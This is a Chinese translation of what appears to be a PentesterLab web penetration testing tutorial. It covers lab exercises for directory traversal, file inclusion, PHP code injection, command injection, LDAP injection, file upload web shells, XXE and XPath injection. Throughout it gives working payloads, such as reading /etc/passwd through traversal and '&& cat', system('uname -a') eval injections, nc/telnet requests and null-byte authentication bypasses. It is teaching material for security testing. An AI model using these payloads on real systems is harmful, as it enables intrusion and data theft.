目录遍历
目录遍历漏洞是因为web应用对路径部分没有过滤或者编码。
在一个遍历漏洞中,你可以用“相同值技术”来测试是否存在问题。举个例子,如果一个参数的路径是/images/photo.jpg。你可以尝试以下这些路径:
/images/./photo.jpg 可以看到同样的页面
/images/../photo.jpg 看到一个错误页面
/images/../images/photo.jpg 再次看到同样的页面
/images/../IMAGES/photo.jpg 出现一个错误(视文件系统而定)或者发生一些古怪的事情
如果没看到image这个路径参数,这个合法的路径直接是photo.jpg,你需要找出它的父目录是什么。
在测试中,你可以尝试检索其他文件。在Linux/Unix中最常用的测试文件是/etc/passwd。你可以这么试:
images/../../../../../../../../../../../etc/passwd |
如果你能看到passwd文件的内容说明web应用是存在漏洞的。这个方法的好处是你不用知道需要放几个../.,如果你放了很多一样能奏效。
另一件有趣的事情是,如果在windows下你有个目录遍历漏洞,你可以打开
这样的路径,即使test这个目录不存在。但在linux就行不通了。当遇到代码结合用户输入的数据来创建文件名的时候这是很有用的漏洞。举个例子,下面的php代码是设计为添加id变量来创建文件名的(比如example_1.txt)。在linux下,如果不存在以example_开头的目录,就无法利用这个漏洞,然而在windows下,即使不存在这样的目录也能成功利用这个漏洞。
$file = "/var/files/example_".$_GET['id' ].".txt" ; |
在这些例子中,含有漏洞的脚本代码使用了<img标签。你需要读取HTML源代码(或者复制图片url)来获得正确的链接地址来实施漏洞攻击。
示例1
第一个例子是一个非常简单的目录遍历例子。你只要进入下层或者返回上传目录来获取任何你能获取的文件。在这个例子中,你会受到文件系统的权限限制,比如不能得到/etc/shadow这个文件。
在这个例子中,基于web服务器发送的报文报头,浏览器会以不同的形式显示返回值。有时候服务器返回的报文的报头是Content-Disposition:
attachment,这样浏览器不会直接显示文件的内容。你需要打开这个附件形式的文件来查看他的内容。这种方式的每次测试都会花费一点时间。
在linux/unix系统中,你可以用wget加速完成这一测试:
1 % wget -O - 'http://vulnerable/dirtrav/example1.php? 2 file=../../../../../../../etc/passwd' 3 [...] 4 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 5 bin:x:2:2:bin:/bin:/bin/sh 6 [...] |
示例2
在这个例子中,你可以看到链接的文件的完整路径。但是,如果你直接把路径替换成/etc/passwd,那你还是得不到任何东西。这个简单的路径检查是php代码完成的。不过你仍然可以在原来路径的后面加上你的攻击代码,在文件系统中进入或者返回上下级目录。
示例3
这个例子是基于一个常见的问题,当你尝试遍历目录的时候,服务端代码会在你的代码中添加自己的后缀。这时候用NULL字符(url编码为%00)很容易绕过它。用空值摆脱服务器端添加的后缀是通常的绕过方法,这在Perl和旧版本的PHP能达到很好的效果。PHP从5.3.4开始解决了这个安全漏洞。
文件包含
在很多web应用中,开发者需要在多重页面中通过包含文件来载入基础类或者共享一些模板。
文件包含漏洞是因为在用户控制的变量作为文件名的一部分被传入文件包含函数(php中有require,require_once,
include or include_once等函数)时没有进行严格的过滤。一旦文件传入的方式存在漏洞,攻击者就可能操纵函数加载自己的代码。文件包含漏洞也可以被用来遍历读取任意文件。但是,如果有任意的代码包含开放的PHP标签,这个文件会被作为PHP代码来执行。
文件包含函数可以允许载入本地资源或者远程资源(比如一个web网站)。如果漏洞存在,他将导致:
本地文件包含:简称LFI。一个可以读取和执行的本地文件
远程文件包含:简称RFI。一个可以获取和执行的远程文件。
默认情况下,PHP禁止载入远程文件,关联的配置选项是allow_url_include。在ISO中,这个选项被设置为允许能让你测试RFI漏洞。
示例1
在头个例子中,只要你在变量后添加了一个特殊字符(比如引号),会返回一个错误消息:
1 Warning: include(intro.php'): failed to open stream: No such file or 3 directory in /var/www/fileincl/example1.php on line 7 Warning: 5 include(): Failed opening 'intro.php'' for inclusion 7 (include_path='.:/usr/share/php:/usr/share/pear') in 9 /var/www/fileincl/example1.php on line 7 |
如果你认真看这一段错误信息,你能准确的得到如下信息:
这个脚本的路径是:/var/www/fileincl/example1.php
这个函数用了:include()。
这个被传入include函数的值是被我注入过的那个intro.php,并没有多余的东西或有过滤机制。
我们能用探测目录遍历的方式来探测文件包含漏洞。比如,你能用../技巧来达到包含/etc/passwd文件的目的。
我们可以通过引用外部的资源来测试远程文件包含漏洞,比如引用https://pentesterlab.com/。如果远程包含漏洞存在,我们能看到当前页面被嵌入了PentesterLab的页面。
PentesterLab的网站包含了针对这种的检测脚本。如果你引用了https://pentesterlab.com/test_include.txt,你就能在当前页面中看到被调用的phpinfo函数的返回结果。
示例2
和在目录遍历漏洞中遇到的情况相似,在这个例子中,php程序会在提供的文件值添加自己的后缀。也和先前的处理方法类似,你可以在LFI中用NULL类型值来摆脱后缀带来的困扰。针对RFI,你还可以通过添加&blah=
或者 ?blah=绕过后缀问题,这要取决于你遇到的URL形式。
在这个示例中,代码模拟的是旧版本的PHP行为。新版本的PHP(5.3.4开始)已经纠正了路径处理问题,并且不会受NULL类型值的影响。
代码注入
在这个章节中,我们要接触的是代码执行漏洞。代码执行漏洞是因为对用户控制的输入数据没有进行恰当的过滤和转义。当你执行一个代码注入漏洞,你要在发送给web应用程序的数据中添加你的注入代码。比如,你想要执行ls命令,你要发送system(“ls”),因为这是个php程序。
就像其他web漏洞的例子一样,通常很难知道怎么注释掉剩下的代码(比如程序在用户控制的数据后添加的代码)。在PHP中,你可以用//来绕过被添加的代码。
和SQL注入漏洞一样,你可以用同样的技巧来测试并且确保你的注入代码被执行:
用注释符来执行注入 /* 任意值 */
用一个简单连接符”.”来注入(这里”用来打断语句并且正确的重组语句)
用字符串连接符来构造变量,比如用”.”ha”.”cker”来替代hacker
你可以基于时间的检测方式来定位漏洞,要用到php的sleep函数。下面两个例子也有不同的时间响应:
不使用sleep函数或者用零时间延迟函叔:sleep(0)
用时间函数引入较长的延时:sleep(10)
示例1
第一个例子是一个相当简单的代码注入例子。如果你注入了一个单引号,看不到任何效果。但是,如果你想到用双引号注入来制造这个问题,会产生如下错误:
1 Parse error: syntax error, unexpected '!', expecting ',' or ';' in 2 /var/www/codeexec/example1.php(6) : eval()'d code on line 1 |
或者也有可能是相反的情况,单引号会产生错误但是双引号不会有问题。通过这个错误信息,我们能推断出这代码中用到的eval函数是这样的:”Eval
is eval…”.
我们看出双引号打算了语句,并且这个eval函数似乎用的我们的输入。有了这些信息,我们尝试利用如下攻击语句来得到同样的效果:
“.”:用这个字符串连接符,能得到同样的效果
“./* pentesterlab*/”:我们只要用字符串连接符连接注释语句,这样也能达到同样的效果。
现在我们有了相似的值来工作,还需要的是用来注入的代码。为了显示我们能够注入代码,我们尝试执行一个命令(比如uname
-a)来测试。完整的PHP代码是:
这里的挑战是打破原来的代码语句和保持一个干净的语句。
有很多方式可以做到这点:
通过添加虚假代码:”.system(‘uname –a’);$dummy=”.
通过引入注释:”system(‘uname –a’);#或者”.system(‘uname
–a’);//。
不要忘记在提交注入请求前需要把某些字符(#和;)转换成url编码。
示例2
在给某些信息排序的时候,开发者通常用两种方式:
通过SQL请求来排序
利用PHP的usort函数
usort函数通常和create_function函数一起使用,用来根据用户控制的输入信息来动态的产生排序函数。如果web应用程序缺少严格的过滤和检验就可能导致代码执行漏洞的产生。
通过注入一个单引号产生的报错,我们能推断出正在运行的程序:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING
in /var/www/codeexec/example2.php(22) : runtime-created function on line
Warning: usort() expects parameter 2 to be a valid callback, no array or string given
in /var/www/codeexec/example2.php on line 22 |
程序中的函数源代码类似如下:
ZEND_FUNCTION(create_funct ion) 2 { 3 [...] 4 eval_code = (char *) emalloc (eval_code_length); 5 sprintf(eval_code, "function" LAMBDA_TEMP_FUNCNAME " (%s ){%s }" ,
Z_STRVAL_PP(z_function_args ), Z_STRVAL_PP(z_function_code)); 6 eval_name = zend_make_compiled_string _description("runtime-created function" TSRMLS_CC); 7 retval = zend _eval_string (eval_code, NULL, eval_name TSRMLS_CC); 8 [...] |
我们能看出会被执行的代码被放在大括号中,我们需要这个信息来帮助在我们的注入代码后正确的完成语句。
和之前的代码注入例子不一样,在这里你不是注入一个单引号或者双引号。我们需要闭合语句中的}并且要用//和#(要转换成相应的编码)把剩下的代码全部注释掉。我们可以尝试这样做:
order=id;}//:得到报错信息(Parse error: syntax
error, unexpected ‘;’);这说明我们缺少一个或者多个括号
order=id);}//:得到一个警告。说明代码被正确执行了
order=id)); }//:得到一个错误信息(Parse error:
syntax error, unexpected ‘)’ i).这说明用了太多的括号
这样我们就知道怎么正确的结束的语句(警告信息不会停止代码的执行过程),比如构造order=id);}system(‘uname%20-a’);//这样的语句来执行任意代码并得到相应的结果。
示例3
我们在先前讨论过多行正则表达式中的正则表达式修饰符。在PHP中有一个非常危险的修饰符:PCRE_REPLACE_EVAL(/e)。这个修饰符会导致在执行替换之前preg_replace函数把新值当做PHP代码来执行(PCRE_REPLACE_EVAL函数在PHP5.5.0开始被剔除了)。
这里你需要改变这个模式,通过添加/e修饰符。一旦添加了这个修饰符,你会得到一个notice:
Notice: Use of undefined constant hacker - assumed
hacker' in /var/www/codeexec/example3.php(3) : regexp code on line 1 |
preg_replace函数尝试把hacker值当做常量执行,但是它未经定义所以你得到这个信息。
你很容易把hacker值替换成phpinfo()函数来得到一个明显的结果。如果你能成功的得到phpinfo函数的返回结果,那你就能用system函数来执行任意命令。
示例4
这个代码执行的例子是基于函数assert的。如果使用的不恰当,这个函数会执行收到的值。这个行为可以用来制造代码执行漏洞。
通过注入一个单引号或者双引号(取决于字符串是怎么声明的),我们能看到一个错误信息,这个暗示了PHP试图执行这这个代码:
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in
/var/www/codeexec/example4.php(4) : assert code on line 1 Catchable 2 fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4 |
一旦我们打断了这个语句,需要正确的重建一个完整的语句。尝试用hacker’.’,会发现错误信息消失了。
现在我们已经知道了怎么避免错误来完成一个语句,可以用phpinfo(): hacker’.phpinfo()这样的语句来注入执行phpinfo函数。
命令注入攻击
命令注入攻击来自于缺少对被当做命令执行的输入部分进行有效的过滤或者编码。最简单的一个例子是利用system函数来执行,并且使用接收http的参数作为有效输入变量。
有许多方式执行命令注入攻击:
在反引号对中注入命令,比如`id`。
把第一个命令的结果重定向到第二个中去,比如| id
如果第一个命令被成功执行,尝试执行更多的命令:&& id(这里&需要被编码)
在一个失败的命令后执行另一个命令:error || id (这里的error就只是为了制造一个错误)
这里也可以用相同值技巧来检测这种漏洞。比如,把123替换成`echo 123`。在反引号里面的代码会被先执行,但是返回的结果和没有更改过的返回的页面一样。
你也可以用基于时间的载体来检测这种类型的漏洞。你可以引入需要服务器消耗时间来执行的命令来检测漏洞(可能会有造成拒绝服务攻击的风险)。你可以用sleep命令让服务器等待一段时间继续执行命令。比如用sleep
10。
示例1
第一个例子是简单的命令执行漏洞。开发者不做任何的输入验证,你可以直接在ip参数后注入你的命令。
根据前面提过的技巧,你可以用&& cat /etc/passwd(预编码下)来查看/etc/passwd的内容。
示例2
在这个例子中,开发者有验证提供的参数,但是用了不是很正确的方式。就像我们之前看到sql注入漏洞那样,利用的是多行的正则表达式。使用和在sql注入漏洞一样的技巧,你可以轻易的利用代码执行漏洞。
这里比较方便的是你不用考虑注入分隔符。你只要注入编码的新行代码(%0a)然后加上你要执行的命令就行了。
示例3
这个例子和之前那个很相像;唯一不一样的地方是开发者没有正确的停止执行脚本。在PHP中,如果用户的提供的输入触发了某些安全规则的时候可以调用header函数非常简便的实现页面重定向。但是,就算浏览器会被重定向,这个函数并不会停止执行过程,脚本仍然会将危险的语句执行完毕。开发者需要在调用header函数后接着调用die函数来避免这个危险的错误。
你可以用浏览器很容易的实施这一漏洞攻击,由于浏览器会跟着实现重定向,你就看不到显示的重定向页面。为了实施这个攻击,你可以使用telnet:
1 % telnet vulnerable 80 2 GET /command exec /example3.php?ip=127.0.0.1|uname+-a HTTP/1.0 3 或者用nc 4 % echo "GET /command exec/example3.php?ip =127.0.0.1|uname+-a 5 HTTP/1.0\r\n" | nc vulnerable 80 |
如果你仔细观察返回结果,你会发现你得到了一个302跳转,但是同时能在响应结果的body中发现uname
–a的执行结果。
LDAP 攻击
在这个章节中,我们要讨论LDAP攻击。LDAP通常被用来后端验证,特别是用在登入进制(SSO)的解决方案中。LDAP有自己的语法规则,在下面的例子中能看得到很多细节。
示例1
在第一个例子中,你连接到LDAP服务器,用你的用户名和密码登录。在这个案例中,TDAP服务器拒绝了你的登录,因为你提供的认证信息是无效的。
但是有一些LDAP服务器允许空值绑定:如果发送的是空值,LDAP服务器会绑定这个连接,然后PHP程序会认为这个认证信息是正确的。为了绑定两个控制,你需要在发送的请求完全移除认证变量信息。如果你发送这样的请求:username=&password=,这样的值不会奏效,因为他们并不是NULL,相应的他们其实算作空变量。空变量登陆测试在将来你所有的测试都是个相当重要的测试,即便后端服务器用的不是LDAP认证机制。
示例2
最常见的LDAP注入模式是注入过滤器。这里会演示如果用LDAP注入绕过登录验证。首先,你需要学习一点LDAP语法。当你要检索一个用户的时候,通过这个用户名,可以用如下的语句:
如果你要增加更多的条件或者布尔逻辑,你可以使用:
布尔或:|: (|(cn=[输入1])(cn=[输入2]))能得到匹配输入1和输入2的记录。
布尔语:&: (&(cn=[输入1])(userPassword=[输入2]))能得到cn匹配输入1和password匹配输入2的记录。
就如你看到的那样,布尔逻辑体现在语句开始的过滤符。由于你是在布尔字符后面开始注入的,所以通常不可能对布尔符号发起注入攻击。
LDAP经常用*通配符来匹配任意值。这可以被用来匹配任何值比如*,或者子串比如adm*匹配所有以adm开头的值。
正如其他注入攻击一样,我们要移除任何服务端添加的代码。我们用空值可以绕过末尾的过滤器。
这里举个登录脚本的例子。我们用的:
username=hacker&password=hacker
登录成功(这是正常的登录请求)
username=hack*&password=hacker 登录成功(*通配符匹配了一些相同的值)
username=hacker&password=hac* 登录失败(密码只很可能被哈希了)
结果很明显,我们可以利用LDAP注入攻击,在username参数动手脚实施登录绕过。根据之前的测试结果,可以推断出过滤器的可能构造:
(&(cn=[INPUT1])(userPassword=HASH[INPUT2]))
这里哈希不是加盐的哈希(可能是MD5或者SHA1).LDAP支持用如下格式:`{CLEARTEXT}`,`{MD5}`,`{SMD5}`(加盐MD5),`{SHA1}`,`{SSHA}`(加盐SHA1),{CRYPT}来能保存密码。
由于输入值2是被哈希过的,所以我们不能在这里进行注入。
我们这里的目标就是向[input1]注入(用户名参数)。我们需要注意:
当前的过滤末尾使用hacker)
恒等式(如(cn=*))
使用有效语法
使用空字符(%00)来避免尾部的过滤
一旦你满足这几个条件,你应该就可以使用hacker帐户登录,任何密码均可。然后你就能使用通配符来找到其它的用户了。举个例子,你可以在过滤器第一部分使用a*,然后检查你自己是作为什么身份登陆的。
在大多数案例中,LDAP注射仅仅能帮助你绕过验证和加权认证。想要检索任意数据很多时候都很困难或者根本不可能。
上传
在这部分,会涉及到如何使用文件上传函数来让代码执行。
在网页程序中(尤其是那些使用文件系统来决定代码运行的程序),你可让代码在服务端执行,如果你打算用合法文件名上传文件(通常是取决于扩展),在这里,我们就可以看到基于这种类型的攻击。
首先,我们攻击一个PHP的应用,我们需要一个PHP的Web shell,一个Web
shell就是一段简单的脚本或者执行代码的网页应用,比如,在PHP中,下面的代码就是一个简单的Web shell:
越复杂的web shell可以执行越高级的操作,比如数据库和文件系统的访问,甚至是TCP隧道。
示例 1
第一个例子是一个非常基础的表单,没有限制。通过使用名为a.php的web shell,将其上传到服务器。一旦成功上传,你就可以通过访问这个脚本(通过参数cmd=uname
)来使得命令执行。
示例 2
在第二个例子中,开发人员对文件名做了限制。文件名不能以.php结尾。要绕过这类限制,你可以使用下面的其中一种方法:
将扩展名改为.php3. 在其它一些系统中,像这类.php4或者.php5的可能也能访问,这取决于web服务器如何解析。
使用Apache不认识的扩展名,在.php后跟上.blah。一旦Apache无法解析这类扩展名,他就将会移动到下一个:.php则随即被解析,然后运行其PHP代码。
上传一个.htaccess文件,来保证下一个php的扩展能够被执行。
(你可以在PentesterLab的训练中了解更多此类相关的技术,从SQL注入到提权:PostgreSQL版)[https://pentesterlab.com/from_sqli_to_shell_pg_edition.html]
使用上面的其中一种方法,你就应该可以成功执行命令了
XML相关攻击
在这部分,会涉及到XML相关的攻击。这些类型的攻击通常都是通过使用XPATH来恢复XML文件的解析设置来进行的。(举个例子:根据组织的名称来了解后台是如何对用户进行的身份验证)
示例1
一些XML解析器为了解决外部实体,将会允许用户使用XML信息来访问资源;比如读取系统文件。下面的实体就可以被使用,如:
你需要将其正确封装,来保证其可以正常运行:
然后你就可以在服务器端解析的时候简单的使用关联x:&x(不要忘记对&进行编码)来获取插入XML文档中的响应结果了。
在这个例子中,利用产生在GET请求,但这更像那些在传统的web应用中使用POST请求的的类型。这类问题在web服务中很常见,并且这或许是第一个你想试试的测试,当你在攻击应用来截取XML信息的时候。
这个例子也可以用来使应用程序执行HTTP请求(通过使用http://代替file://),还能当作端口扫描器。但是,内容的检索通常不那么完整,XML解析器会将其解析成文档的一部分。
提示:你也可以使用‘ ftp://和https:// ’
示例2
在这个例子中,代码利用了用户输入,插入了一个XPath表达式。插入的XPath是一个查询语句,查询XML文档中的节点。把XML文档想象成一个数据库,XPath则是一个查询语句,如果你能操纵这个查询,你就能找到那些你本来无法找到的元素。
如果我们只注入一条引用,我们则会看到以下错误:
和SQL注入相似,XPath允许你使用逻辑判断,你可以尝试:
‘and’1’=’1 你应该会得到相同的结果
‘or’1’=’0 你应该会得到相同的结果
‘and’1’=’0 你应该得不到任何结果
‘or’1’=’1 你应该会得到所有的结果
基于这些测试和之前对于XPath的了解,我们大致可以得到该XPath语句的构造:
要想注释掉余下的XPath语句,你可以使用空字符(你需要将其编码成%00)。正如我们在XPath表达式中所看到,我们还需要一个]来完成语法。现在我们的语句就是
hack’]00%(or hacker’ or 1=1]%00,如果我们要得到所有结果的话)。
如果我们想查找当前节点的子节点,使用语句
'%20or%201=1]/child::node()%00 |
我们就可以不用获得过多的信息。
这里的问题在于我们如何再次回到节点层来获取更多信息。在XPath里,这可以通过使用
parent::*作为语句的部分来完成。现在我们就可以查询当前节点的父节点了,使用
hacker'%20or%201=1]/parent::*/child::node()%00 |
列出所有节点。
其中一个节点的值看起来就像密码。我们可以通过使用语句
hacker']/parent::*/password%00 |
来检查该节点的值是否就是密码。
Web渗透测试攻略(上)
Web渗透测试攻略(中)
|